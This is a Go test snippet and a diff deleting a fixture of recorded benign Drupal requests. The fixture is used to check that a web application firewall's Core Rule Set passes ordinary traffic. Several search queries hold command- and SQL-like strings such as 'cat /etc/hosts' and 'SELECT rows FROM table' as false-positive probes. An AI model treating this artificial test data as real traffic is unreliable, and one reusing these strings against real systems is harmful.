func TestOrdinaryGhostRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "ghost-requests.txt")
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt")
}
-765
View File
@@ -1,765 +0,0 @@
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
# defaults. They were recorded from a site driven by a headless Chrome and
# HTTP clients. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Bold.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_lWnmNx7fODjwXZN0k-hinSYDGBOLz2ZYZzrxc1QYUZU.css?delta=0&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_e1nubGx6j-CohkDnzUhS1xlK-HQ91BkCHHZe4AcOWIY.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVQIA53wTlA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/search/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nlF7hWQsRVrlEPbc96OMGevOv3MrfMiKMVvcv6_6Joc.css?delta=1&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_aFq4-wv4d0gPBP9K98TVdWfWzXoJLtTyXg_BN3tNojw.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVcKlShKTigEIZxiZ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/no-such-page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/rss.xml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/rss.xml"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-66TNlUp8tQI0lgPvIXpN9McAK6NI-RbJZJy3xQUipSQ&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/1?check_logged_in=1", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/jquery/jquery.min.js?v=4.0.0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/htmx/htmx.min.js?v=2.0.4", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_oc7ElP8_y3MBtFrEyAhgHKJSA-SMDBidNXaZSY7_mDc.css?delta=1&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_GwAx9-XxvwjT99hmLVXFfHhAt3uBqjr-skP9WQDCcoM.js?scope=footer&delta=3&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_3uG4RM-Em2VD212gfyh-PIM42Pr7XCSwv3TXIbnBX9A.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_JYK8tPdiju1DBZ5kGKcUua-GioSL5qptDKhEKxqe4cM.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLU5Nzs9LSSyqBACkMwtV&exclude=eJx9jkEOwyAMBD8E4UmVIVZkxbERmLT8vrSNkpx6W61nNY60PDJlDPEILqkYvqwBh7m0DDxdjWeStQ6kYEi6ZRUUq5PATgsYqXhvZIz_CVWOUHxsZio_9DBBMtrxa3HXJFxxYujazCkPrmhgTeOrz0ylnu3NlgttUPp5yvrEgrOP3ccxXl3t1XALESq-Afi0aIE", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I"}
{"method": "GET", "target": "/sites/default/files/js/js_5hB-Wy2Hxb85RQLTESYetivjeaSJY2GQ6oXCxZeNfeA.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU"}
{"method": "GET", "target": "/admin/modules", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
